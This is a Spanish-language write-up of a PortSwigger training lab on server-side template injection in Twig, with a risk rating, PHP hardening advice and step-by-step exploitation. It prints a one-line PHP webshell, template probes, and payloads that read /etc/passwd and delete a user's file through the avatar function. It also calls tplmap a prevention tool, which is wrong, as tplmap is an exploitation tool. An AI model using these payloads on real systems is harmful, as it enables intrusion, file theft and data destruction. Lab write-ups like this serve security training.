Server Side Template Injection
Table of Contents
ToggleINTRODUCCIÓN
A continuación se presenta de forma detallada un reporte técnico sobre la Resolución del laboratorio Server-side template injection with a custom exploit de la plataforma Portswigger. El mismo se establece con un análisis de riesgo con respecto al impacto que esta puede generar. Esto incluye CWE, Criticidad, CVSS Score, CVSS Vector y sus Componentes afectados. Sumado a ello, se especificarán las mitigaciones pertinentes, detalles técnicos del pentest y los links de referencias.
ANÁLISIS DE RIESGO
CWE-1336 | Improper Neutralization of Special Elements Used in a Template Engine |
IMPACTO | ALTO |
CVSS BASE SCORE | 6.5 |
CVSS 3.1 VECTOR | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
COMPONENTES AFECTADOS | https://LAB-Id.web-securtity-academy.net/my-account/avatar https://LAB-Id.web-securtity-academy.net/avatar?avatar=user |
EXPLICACIÓN | Existe una vulnerabilidad de Server Side Template Injection (SSTI) en la que un usuario no autenticado puede aprovecharse de la sintaxis de una plantilla de la aplicación para incluir, y eliminar, archivos locales del sistema.. |
RECOMENDACIONES
1) Validar correctamente los datos en las entradas: Se deben filtrar y validar todas las entradas del usuario para garantizar que solo contengan datos esperados. Se recomienda utilizar funciones como filter_var o expresiones regulares según sea necesario. Por ejemplo::
$parametro = $_GET[‘parametro’]; if (filter_var($parametro, FILTER_VALIDATE_INT)) { // Procesar el parámetro } else { // Tratar como dato no válido } |
2) Escapar la salida de datos: Se recomienda utilizar funciones de escape apropiadas al imprimir datos dinámicos en la salida HTML para prevenir la ejecución no deseada de código (RCE). Para ello, algunas funciones útiles pueden ser htmlspecialchars o htmlentities. Por ejemplo:
<?php $variable_no_segura = $_GET[‘parametro’]; echo htmlspecialchars($variable_no_segura, ENT_QUOTES, ‘UTF-8’); ?> |
3) Configurar adecuadamente las directivas PHP: En el caso de PHP, una buena práctica es configurar adecuadamente las directivas relacionadas con la seguridad en el archivo php.ini. Algunas directivas importantes incluyen allow_url_include y disable_functions. Las mismas se deben configurar según las necesidades específicas de la aplicación. Por ejemplo
// Desactivar la inclusión de URL en include/require allow_url_include = Off // Lista de funciones desactivadas disable_functions = system, eval, passthru, shell_exec, exec |
4) Usar Whitelist: Se recomienda utilizar listas blancas (whitelist) para aumentar la seguridad con respecto a la carga de archivos distintos a imágenes. En el siguiente ejemplo se utiliza la lista blanca $allowedImageTypes, la cual contiene extensiones de archivos (imágenes) permitidas como jpg, jpeg, png, gif.
<?php if ($_SERVER[«REQUEST_METHOD»] === «POST») { // Directorio donde se almacenarán los archivos cargados $targetDirectory = «uploads/»; // Obtener información sobre el archivo cargado $uploadedFile = $_FILES[«file»]; $uploadFileName = $targetDirectory . basename($uploadedFile[«name»]); $uploadFileType = strtolower(pathinfo($uploadFileName, PATHINFO_EXTENSION)); // Lista blanca de tipos de archivo (imágenes) permitidos $allowedImageTypes = array(«jpg», «jpeg», «png», «gif»); // Verificar si el tipo de archivo está permitido if (in_array($uploadFileType, $allowedImageTypes)) { // Verificar si hubo algún error durante la carga if ($uploadedFile[«error»] === 0) { // Mover el archivo cargado al directorio de destino move_uploaded_file($uploadedFile[«tmp_name»], $uploadFileName); echo «Archivo cargado con éxito.»; } else { echo «Error al cargar el archivo.»; } } else { echo «Tipo de archivo no permitido. Solo se permiten imágenes.»; } } ?> |
5) Actualizar parches y usar contextos seguros en plantillas: Algunos motores de plantillas, como Jinja2 (hecha en Python), ofrecen contextos seguros que limitan las capacidades de ejecución de código.
6) Utilizar herramientas de seguridad conocidas: Una herramienta muy utilizada para prevenir este tipo de vulnerabilidad es tplmap.
7) Configurar adecuadamente el Firewall: Se recomienda, en lo posible, implementar un WAF como una capa de seguridad. Esto incluye llevar a cabo configuraciones adecuadas para bloquear y/o prevenir posibles ataques hacia la aplicación. Por ejemplo, se podría utilizar la siguiente regla de iptables para bloquear patrones específicos:
iptables -A INPUT -p tcp –dport 80 -m string –string «{{7*7}}» –algo bm -j DROP |
8) Realizar pruebas de seguridad: Se recomienda utilizar servicios como SAST, DAST y/o OAST para corregir y prevenir posibles huecos de seguridad en las diferentes etapas del desarrollo.
DETALLES TÉCNICOS
Se procedió a iniciar sesión en la aplicación web a través de las credenciales establecidas por la misma. Estas son:
Username: wiener
Password: peter
En la siguiente captura se puede observar que hay una opción para cambiar la forma en la que se visualiza el nombre del usuario wiener, y otra opción de poder subir una imagen para el perfil de dicho usuario.
Teniendo en cuenta la primera opción, se procedió a cambiar el nombre del usuario wiener por su “Nickname” (H0td0g) y poder estudiar la forma en la se envían los datos hacia el servidor. Para ello si utilizó la herramienta Burpsuit como se ve a continuación.
Si posteamos un comentario veríamos lo siguiente.
Esto confirma que a través del parámetro user.nickname se puede cambiar el valor del nombre de usuario en la visualización de comentarios. Por tanto, se procedió a colocar el payload {{7*7}} para verificar si dicho parámetro es vulnerable a Server Side Template Inyection (SSTI), cuya respuesta por parte del servidor fué la siguiente.
El la aplicación veríamos lo siguiente
Con dicho mensaje de error, no solo se puede saber que la plantilla utilizada es Twig y el lenguaje PHP, sino que el mismo hace referencia a un problema de sintaxis con respecto al primer caracter ‘{’ el cual no reconoce. De esta manera, se dedujo que por detrás existe otro caracter igual a este que no permite cerrarlo. Para ello, se volvió a utilizar la misma sintaxis pero de la siguiente forma: }}{{7*7}}.
Por tanto, si volvemos a los comentarios veríamos lo siguiente.
De esta forma se puede comprobar que dicho parámetro es vulnerable a SSTI ya que se pudo ejecutar código en el template.
Teniendo esto en cuenta, el siguiente paso fue verificar si era posible causar un impacto significativo en los sistemas mediante un exploit personalizado a través del parámetro user.nickname. Entonces se procedió a subir el archivo webshell.php cuyo contenido se refiere a una webshell para ejecutar comandos de forma remota a través del parámetro cmd.
<?php system($_GET[‘cmd’]); ?> |
Una vez subida la carga, el servidor respondió con el siguiente mensaje.
Dicho mensaje devuelve un código de estado 500 con la información de que, no solo existe un archivo User.php dentro del directorio /home/carlos, sino también que la función encargada de ejecutar los mismos se compone de la siguiente manera: setAvatar(’File’,’Content-Type’). Por lo tanto, se procedió a interceptar dicha petición y cambiar el valor content-type a “image/png” para intentar “avisarle” al servidor que el archivo en cuestión es una “Imagen”.
En la aplicación se puede observar lo siguiente.
De esta manera, se puede apreciar que el avatar, o imagen de perfil, fue subida con éxito. Entonces sabiendo que la vulnerabilidad SSTI existe en el parámetro user.nickname, y el uso de la función setAvatar nos permite cambiar el tipo de archivo a subir, se procedió a verificar si era posible la inclusión de archivos locales colocando user.setAvatar(’/etc/passwd’,’image/png’).
Por lo tanto, si cargamos la página y nos dirigimos a la ruta donde se carga dicho avatar, la cual es https://LAB-Id/web-security.net/avatar?avatar=wiener, se puede observar que se tuvo éxito.
Finalmente, teniendo en cuenta que existe el archivo User.php dentro del directorio /home/carlos, se procedió a incluir el mismo y visualizarlo para estudiar su función. En el mismo se pudo comprobar que al final existe una función llamada gdprDelete(), la cual sirve para utilizar el comando rm (comando utilizado para eliminar archivos y/o directorios) con respecto a la variable $filename (la cual especifica un archivo en cuestión).
De esta manera, un atacante puede aprovecharse del parámetro user.nickname para incluir y eliminar archivos del sistema. Es decir, primero cargaría un archivo usando user.setAvatar(’home/carlos/User.php’,’image/png’) y luego ejecutaría user.gdprDelete() para su correcta eliminación.